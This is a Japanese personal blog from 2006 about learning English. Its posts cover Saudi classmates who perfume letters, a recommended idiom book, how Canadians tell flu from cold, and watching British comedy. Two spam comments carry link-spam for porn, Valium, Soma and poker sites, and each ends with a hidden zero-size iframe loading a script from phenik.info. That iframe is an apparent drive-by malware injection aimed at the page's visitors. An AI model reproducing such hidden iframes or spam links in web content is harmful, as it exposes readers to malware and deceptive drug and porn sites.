リリエイゴ〜楽しく英会話〜


リリエイゴとは

記事一覧

メール

リリーニュース

Riri Inoue'blog in English

リリレシピ・世界の料理

Riri-Inoue web site/井上リリーHP 世界地図

2006-06-22

[コラム] 手紙とパフュームとサウジの夢

英会話を話す人口は大変多いので、英語を話せると、英語圏以外の国の人とも仲良くなれるところが英語のすごいところです。

私が、バンクーバーの、ブリティッシュコロンビア大学付属語学学校に通っていた頃、何人かのサウジアラビア人の友達ができました。

日本では、サウジアラビア人と接する機会はなかなかありません。でも、彼らの国は豊かなので、経済力のある人は、率先して留学し、英語学習して仕事に役立てたりしているようで、サウジ留学生はとても多いです。また、たくさんサウジ留学生はいるのに、女性留学生がほとんどいないのもサウジ留学生の特徴です。

ただ、いくら豊かな国とはいえ貧富の差は激しく、かなりのお金持ちしか留学しません。そのため、私のサウジの友人ももれなくかなりのお金持ちで、語学留学のためにダウンタウンのど真ん中に三階建ての家財道具付きの新築一軒家を借りて、毎晩友達を招いて家でダンスパーティーをするという放蕩っぷりでした。

さて、ある日私が日本の友人へ手紙を書き、その封筒を学校で投函しようとしていたときのこと。サウジの友人ハビビ(これは"愛"という意味あだ名。本名アドルフ)とモハメドが、その封筒をとって、クンクンして、「これ、何にも匂わないじゃないか!」などと言ってきました。

彼らの主張によると、一般にサウジでは、女性からの手紙には、ほとんどの場合た〜〜〜〜〜ッぷりパフュームがふりかけられているものらしい。そして、こんな色気もロマンスもないような手紙はボツだ、今からでもいいから、香水をシュッとしてから送るように!と言うのです。

手紙香水をふりかける習慣っていうのは大して珍しくもないけれど、そんなに徹底しているなんて、さすがサウジ手紙をもらうと、まずサウジの男は匂いを嗅ぐんだそうです。

サウジの、まつげが長〜くてばさばさまぶたを閉じるような美人が、今夜も誰かへ、山ほどのパフュームをふりかけた手紙を送っていると思えば、世界は広いとしか言いようがない。

女子のみなさん、サウジ手紙を出すときは、くれぐれも、色っぽ〜い香水をじゃんじゃん振りかけて出すようにしてください。

augustaaugusta2006/06/22 15:09私もサウジアラビア人の友達〈男性ばかり)が何人もいるけど、みんな経済状態は普通〈私と同じくらい?〉で、ホームスティの料金を気にしたりしています。そんなお金持ちに会ってみたいものです。
ところで、香水の話ですが、アラブの国の男性って禁欲的なのかと思いきや、ダンスパーティで一番激しくアタックしてくるのはサウジアラビア人だったりします。
ちなみに私の知ってるアラブ圏の女子学生は、UAE(ドバイ)の超キャリアウーマンと、クェートのセクシー美女で、たしかにサウジアラビアの女子学生には会ったことがありません。

ririinoueririinoue2006/06/23 00:52あ、そういえば、このハビビとモハメドが特に印象的だったから、そのイメージにひっぱられているというのはあるかも。ハビビが本当にひどい奴で、明らかに常規を逸した感じだったよ。ちなみに、ハビビはディッヴェロッパーで、モハメドは弁護士でした。
わたし、サウジ人に禁欲的なイメージなんて全然ないよ。一夫多妻制という時点で疑問です。一夫多妻制って、すごく体力がいる気がする、、、。
ハビビは挨拶のハグの時に、むりやり唇を奪おうとするあり得ないキャラで、女子が大変警戒していたよ。なつかしいなあ。
サウジの留学生はたくさんいるのに、女性がいないのには本当にびっくりだよね。私はまだ一人もみたことがないよ。私のアラブ系の女友達は、リビアからきてたイスラム系の女の子。すごく魅力的な瞳をしていて、素敵でした。

2006-06-20

[] ネイティブがよく使う 英単語イディオム・決まり文句

先月見つけたこの本、すごくいいので、発音塾の生徒におすすめしています。

ネイティブがよく使う―英単語・イディオム・決まり文句 (<CD+テキスト>)

ネイティブがよく使う―英単語・イディオム・決まり文句 ()

中学生でもわかるような簡単な単語で、日本学校教育ではならわないけれど、アメリカ英語で非常によく使う口語表現がたくさんのっています。

ダイアログが載っているのもとてもいいし、ダイアログがCDに収録されているのも勉強しやすくていいです。

一つ気になるのは、CDナチュラルスピードで録音されているので、リスニングビギナーには、少し早く感じるかもしれません。でも、聞きやすい録音なので、テキストを見ながら、何度も聞き、二人一組でダイアログを言う練習なんかをすればとてもいいのではないでしょうか。

2006-05-14

[] flu と cold に関する疑問

英語では一般に、インフルエンザのことをflu、風邪のことをcoldと呼びます。

さて、日本でもよく、インフルエンザ風邪を混同しないように、、とかいいますよね。でも、お医者さんに診てもらうまでは、自分がインフルエンザなのか、かぜなのか、なかなか判断がつかないものです。

今回わたしがお話したいのは、お医者さんにかかる前の家庭レベルでの診断についてです。

どうやら、カナダの友達と、私の考えるインフルエンザの定義に若干ずれがあるようなのです。

みなさんは、どういう症状のときに、自分や家族がかかった「かぜのようなもの」を、インフルエンザだと思いますか?私の基準では、高熱が出て、風邪よりも重い症状だったらインフルエンザを疑う、、というところでしょうか。でも、カナダ人の友人たちは、どうも私と違う基準でfluとcoldを区別しているような気がして、わたしはいまも、カナダの一般市民における、fluとcoldの区別について混乱しているのです。

たとえば、こうです。

1:私が、かぜのようなものにかかります。で、I think I'm sick という状態に突入します。でも、But I haven't seen a doctor yet. と、いうことでまだ病院に行っていません。

2:そこで、what are your symptoms? という感じで、友達などに病状を聞かれます。

3:病状が、headache, stomachache and feeling dizzy だったとして、でもhigh fever はなかったとします。

4:私は、高熱がないところや、病状がひどすぎないことから、I guess I caught a cold と言います。

5:でも、カナダ人の友人は口をそろえて、No, I think you have the flu ! などと言われます。

6:私は、あれ?fluってインフルエンザのことじゃなかったけ?と思って辞書を引いたりして確認します。

7:インフルエンザについてのお互いの認識の差を知ります。

さきほど、ベンジャミンチャットをしてて、まさにこの話題となりました。

彼曰く、風邪とは、colds usually have sore throats, coughing... runny noseなんだそうです。

でも、インフルエンザとは、but the flu feels like seventeen strong men have been beating you with padded baseball bats all night なんだそうです、、、、、。う〜ん、聞くだけで恐ろしい。つまりは、全身痛かどうか、ということでしょうか。高熱かどうかは判断の基準となっていないようでした。

今まさに私は、頭が痛くて、おなかが痛くて、めまいがしていて、でも高熱はなく、鼻水や咳などの症状もないのですが、今の段階の私の病状を日本では風邪カナダではインフルエンザではないか、と、別の認識をされるというのはとても興味深いです。

とはいえ、病院で診てもらったら、日本でもカナダでも同じ判断を下されるのは間違いないのですが、、、。早く病院に行け、ということなのかも。

インフルエンザについて

http://www.med.or.jp/influenza/inqa_b.html

[] flu と cold に関する疑問2

いま、カナダのバルジンダル(彼はファミリードクター)に電話して、私がfluであるかcoldであるか電話診察してもらいました。

結果、わたしのかぜはfluではなく、coldだそうです。パチパチパチ。

augustaaugusta2006/06/05 05:56この間、hostfamilyがおなかからくるカゼをひいたとき、stomach fluって言っていました。自然に聞いていましたが、考えてみるとstomach coldじゃ不自然な感じがします。痛み、が関係あるのかもしれませんね。host fatherは“My muscle is sore”とも言っていました。

IWantToTopIWantToTop2006/10/27 17:39http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html ,<a href="http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html">adult female masturbation movie xxx</a> ,[url=http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html]adult female masturbation movie xxx[/url] ,http://adipexcheaponline.info/adipex-drug.html ,<a href="http://adipexcheaponline.info/adipex-drug.html">adipex drug</a> ,[url=http://adipexcheaponline.info/adipex-drug.html]adipex drug[/url] ,http://autocarsaleonline.info/car-buy-new-texas.html ,<a href="http://autocarsaleonline.info/car-buy-new-texas.html">car buy new texas</a> ,[url=http://autocarsaleonline.info/car-buy-new-texas.html]car buy new texas[/url] ,http://partialpoker24.info/cheat-money-party-play-poker.html ,<a href="http://partialpoker24.info/cheat-money-party-play-poker.html">cheat money party play poker</a> ,[url=http://partialpoker24.info/cheat-money-party-play-poker.html]cheat money party play poker[/url] ,http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html ,<a href="http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html">canadian association of pharmacy technician</a> ,[url=http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html]canadian association of pharmacy technician[/url] ,http://pornfreenice.info/italian-porn-star.html ,<a href="http://pornfreenice.info/italian-porn-star.html">italian porn star</a> ,[url=http://pornfreenice.info/italian-porn-star.html]italian porn star[/url] ,http://somaonline24.info/soma-sd.html ,<a href="http://somaonline24.info/soma-sd.html">soma sd</a> ,[url=http://somaonline24.info/soma-sd.html]soma sd[/url] ,http://stockinvestingonline.info/stock-investing-advice.html ,<a href="http://stockinvestingonline.info/stock-investing-advice.html">stock investing advice</a> ,[url=http://stockinvestingonline.info/stock-investing-advice.html]stock investing advice[/url] ,http://valiumonline24.info/2006-guestbook.php-inurl-valium.html ,<a href="http://valiumonline24.info/2006-guestbook.php-inurl-valium.html">2006 guestbook.php inurl valium</a> ,[url=http://valiumonline24.info/2006-guestbook.php-inurl-valium.html]2006 guestbook.php inurl valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

IWantToTopIWantToTop2006/10/28 11:57http://adultmovieonline.info/gay-adult-movie.html ,<a href="http://adultmovieonline.info/gay-adult-movie.html">gay adult movie</a> ,[url=http://adultmovieonline.info/gay-adult-movie.html]gay adult movie[/url] ,http://adipexcheaponline.info/adipex-loss-phentermine-weight.html ,<a href="http://adipexcheaponline.info/adipex-loss-phentermine-weight.html">adipex loss phentermine weight</a> ,[url=http://adipexcheaponline.info/adipex-loss-phentermine-weight.html]adipex loss phentermine weight[/url] ,http://autocarsaleonline.info/buy-car-carolina-new-north.html ,<a href="http://autocarsaleonline.info/buy-car-carolina-new-north.html">buy car carolina new north</a> ,[url=http://autocarsaleonline.info/buy-car-carolina-new-north.html]buy car carolina new north[/url] ,http://partialpoker24.info/bill-poker-series-simmons-world.html ,<a href="http://partialpoker24.info/bill-poker-series-simmons-world.html">bill poker series simmons world</a> ,[url=http://partialpoker24.info/bill-poker-series-simmons-world.html]bill poker series simmons world[/url] ,http://pharmacyonline24.info/cvs-pharmacy-hours.html ,<a href="http://pharmacyonline24.info/cvs-pharmacy-hours.html">cvs pharmacy hours</a> ,[url=http://pharmacyonline24.info/cvs-pharmacy-hours.html]cvs pharmacy hours[/url] ,http://pornfreenice.info/porn-sex.html ,<a href="http://pornfreenice.info/porn-sex.html">porn sex</a> ,[url=http://pornfreenice.info/porn-sex.html]porn sex[/url] ,http://somaonline24.info/soma-cruz.html ,<a href="http://somaonline24.info/soma-cruz.html">soma cruz</a> ,[url=http://somaonline24.info/soma-cruz.html]soma cruz[/url] ,http://stockinvestingonline.info/value-stock-investing.html ,<a href="http://stockinvestingonline.info/value-stock-investing.html">value stock investing</a> ,[url=http://stockinvestingonline.info/value-stock-investing.html]value stock investing[/url] ,http://valiumonline24.info/3.75-discount-valium.html ,<a href="http://valiumonline24.info/3.75-discount-valium.html">3.75 discount valium</a> ,[url=http://valiumonline24.info/3.75-discount-valium.html]3.75 discount valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

loollool2006/11/06 00:38Nice!! <a href= ></a> - [url=][/url] -

2006-05-13

[]ブリティッシュコメディ

最近わたしは、Kirstyというイギリス人家庭教師英語を教わっています。彼女は「狂言ギリシャ演劇の比較」をするために東大留学中です。と、いっても4月から日本にきたばかりらしく、当分は日本語勉強とのこと。

授業は週に一回、エッセイ添削をしてもらっているのですが、Kirstyとは仲良くなれてきたので、今日は親交を深めるために、一緒にブリティッシュコメディーを見ました。

イギリスの、Kirstyのお父さんがとっている新聞には、毎週コメディDVDがおまけでついてくるらしく、フリーDVDを山ほど持ってきてくれました。

イギリスコメディ−ってすごくシニカルですね!!びっくりしました。オチとか救いがないような、、、、。

たくさんのショーットコメディーをみたのですが、記憶に残っているのをちょっと書くと

第二次世界大戦中、母国に取り残された老人たちhome godの話

・なにもできない男(a failure)の話

・いつも観光バスに乗り遅れる男の話

・手術中、医者だとおもっていた執刀医が、実は脱走した精神患者だったという話。医者は遅れて到着し、既に精神患者によって始められている手術に出くわす。

脱獄した二人組をかくまってくれた2人の老人。でも、老人たちがあまりに貧しく、ひどい生活をしていて、刑務所の方がましだということでいったん脱獄したものの刑務所にまた帰る話

結局私たちは、2時間以上、何本ものコメディーをみて、その日は解散となりました。

ミカミカ2006/05/16 22:50私もブリティッシュコメディ大好き。モンティパイソンとかレッドドワーフ
とかローワン・アトキンソンとか…そのために英国留学を考えていたくらいです。
いいなー素敵やん!イギリス人とコメディー見るなんて!!

ririinoueririinoue2006/05/17 00:37ブリティッシュコメディー、難しかったよ〜。まだ、ブリティッシュアクセントにぜんぜん馴れなくて、なかなか聞き取れないし、Kirstyに解説してもらわないと、文化的なバックグラウンドも全然わからないし。大変勉強になりました。
この、ブリティッシュコメディを見る会は、毎週開かれることになりそうです、、。みかさんも、東京へお越しの際は、ぜひ、、。

ミカミカ2006/05/19 21:23ブリティッシュアクセントいいよね~訛ってんのとか大好き。実際会って聞くと
あまりの聞き取れなさにむかつくねんけど…(笑)。
イギリスは階級の差っていうのが大いにコメディとか皮肉っぽいとこなどに影響しているような気がします。それぞれの階級が自分たちのことを誇りに思っていて、その違いが幅広い文化を生んでるんだなと感じたり…。興味深い国ですね。

ririinoueririinoue2006/05/20 05:59いや〜、本当に興味深い国だよねえ。Kirstyも、「一応、階級社会をなくそう、もしくはもうないというようなことを言われたりするけど、実際あるよね。」て言ってた。で、Kirstyは中流階級で、やっぱり上流階級の英語はへんに聞こえるし、下層階級の英語もいただけないんだそうだ。ちなみに、普段の食事はパスタか揚げ物、ピザで、とうふが大嫌いなんだそうだ。

2006-05-07

英語ブログ

英語日記を書きやすいブログをずっと探していたのですが、ようやく一つみつけ、晴れてここに落ち着けそうです。

はてなダイアリーの使い勝手がいいので、私としてはここに英語ブログを書きたかったのですが、はてなではナビゲーションが日本語のため、日本語を読めない友達に不評という問題があって、外国ブログサイトを探していたのです。

英語ブログアドレスはこちら

http://ririinoue.blogspot.com/

みなさんのコメントをお待ちしています。ただ、この英語ブログへのコメント英語でお願いします。コメント英語が間違っていようが拙かろうが、こちらはなんにも気にしないので、どうぞお気軽に。


[]英語ブログを書く

留学に行って一番よかったと思うことは、もはや英語で話したり書いたりすることに、なんの抵抗もないことです。別に英語が上手に書けると言う訳ではないけれど、心の中で英語に対するハードルがぜんぜんないので、日本語を書くのと同じくらいの気分で書けてしまいます。

みなさんも、英語ブログを書くときは間違えを気にしたらだめですよ。そこで筆が止まってしまうから。とにかく勢いに任せて書いて、書き終わったら間違いがあるのを覚悟の上でそのまま発表して、そのあとで気がついたところから修正していけばいいと思います。

英作文力はとにかく書かないと伸びません。間違いを気にせず、どんどん好きなことを書いていきましょう。